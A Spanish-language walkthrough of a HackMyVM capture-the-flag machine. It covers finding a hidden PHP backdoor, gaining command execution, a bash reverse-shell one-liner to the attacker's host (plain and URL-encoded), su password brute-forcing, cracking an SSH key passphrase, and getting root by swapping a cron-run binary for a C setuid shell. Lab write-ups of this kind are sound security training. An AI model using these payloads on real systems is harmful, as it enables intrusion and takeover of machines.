Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.12
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos un escaneo de puertos de la dirección IP y observamos que solo contamos con dos.
Ejecutamos un escaneo más profundo en los puertos identificados, pero no tenemos mayor información.
Ingresamos la dirección IP en el navegador y podemos observar que tenemos dos posibles usuarios que nos puedan ser de utilidad así también inspeccionando la página vemos un subdirectorio.
Como tenemos la pista de que hay una puerta trasera indicando que es un php
y que está en el subdirectorio supersecure
realizaremos un escaneo. Probamos con un escaneo usando un diccionario conocido, pero no obtenemos nada.
Probamos el diccionario backdoor_list
y podemos observar que nos encuentra uno.
Ingresamos a la dirección donde observamos un texto.
Agregamos el parámetro al URL junto con un comando y podemos observar que podemos ejecutar comandos.
Como podemos ejecutar comando, iniciaremos nuestro listener para establecer la conexión cuando enviemos una reverse shell.
bash -c 'bash -i >& /dev/tcp/192.168.0.61/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22
Tratamos de establecer conexión, pero no es posible.
Ejecutando algunos comandos ls
, observamos que tenemos otro archivo.
Nos dirigimos a ese archivo y podemos ver que nos muestra otro mensaje.
Probamos algunos comandos, pero no tenemos una respuesta positiva. Intentamos empleando una dirección web y tenemos éxito.
Con esto en mente, probamos establecer una consulta a nuestra máquina y tenemos suerte.
En la misma carpeta donde arrancamos el servidor copiamos una revshell.
Comenzamos el listener con el puerto seleccionado.
En el navegador ingresamos nuestra dirección IP con el archivo.
Regresamos a nuestro listener y podemos ver que establecimos conexión y somos www-data
.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Al dirigirnos al directorio HOME
observamos varios usuarios de los cuales solo podemos acceder a suidy
el cual tiene 2 archivos, pero no podemos leer ninguno.
Revisando permisos SUID vemos 2 interesantes, pero no podemos ejecutarlos, ya que no contamos con el password del usuario.
Puesto que no tenemos el password probamos ejecutándolo así, pero no vemos ninguna pista.
Revisando la carpeta de la página observamos que tenemos una pista del usuario murda
.
Como ya tenemos una pista emplearemos suForce
, un diccionario corto de rockyou
y luego de ello iniciamos nuestro servidor.
Descargamos ambos archivos.
Damos permisos de ejecución a suForce
y luego de ejecutarlo podemos ver el password
murda:iloveyou
Nos logueamos como el usuario y en su carpeta de usuario observamos el siguiente mensaje.
Buscamos el archivo id_rsa
y lo encontramos en games
.
Copiamos el archivo, le damos permisos, pero al tratar de conectarnos nos pide una frase.
Copiamos la llave, primero usamos ssh2john
para obtener el hash y luego con john
podemos ver la frase.
ihateu
Ingresamos la frase y ya somos violent
.
Vamos a su carpeta, pero no vemos nada interesante en ninguna otra carpeta o permiso.
Ya que no podemos llegar a otro lado probaremos empleando suForce
en theuser
como hace referencia en la nota que tenía murda
. Primero probamos con el diccionario corto de rockyou
, pero no encontró nada, Probando con una versión más amplia y tenemos resultados.
theuser:different
Realizamos un sudo -l
, pero no tenemos permisos. Probamos buscando permisos SUID y seguimos con los mismos binarios.
Ejecutamos el binario y podemos ver que somos suidy
.
Nos vamos a la carpeta de suidy
y podemos leer el archivo note.txt
de su interior.
Para buscar más información podemos usaremos pspy64
.
Al ejecutar el archivo podemos ver que tenemos un script que se ejecuta
Supondremos que ese script se ejecuta e interviene con el archivo suidyyyyy
. Y como tenemos permisos como theuser
lo que haremos es reemplazar este archivo. Revisamos si tenemos gcc
y si lo tenemos.
Ahora creamos un archivo.
#include <stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
Compilamos nuestro archivo y le colocamos el mismo nombre del binario, luego copiamos el binario en la carpeta de suidy
, pero solo podemos hacerlo como theuser
.
Probamos ejecutarlo al momento, pero no es posible. Recordemos que tenemos un script que está ejecutando el archivo cada ciertos segundos. Luego de unos segundos volvemos a ejecutarlo y podemos observar que accedimos como root.
Al ir a la carpeta de root
observamos que nuestra suposición era correcta. De esta manera culminamos esta máquina.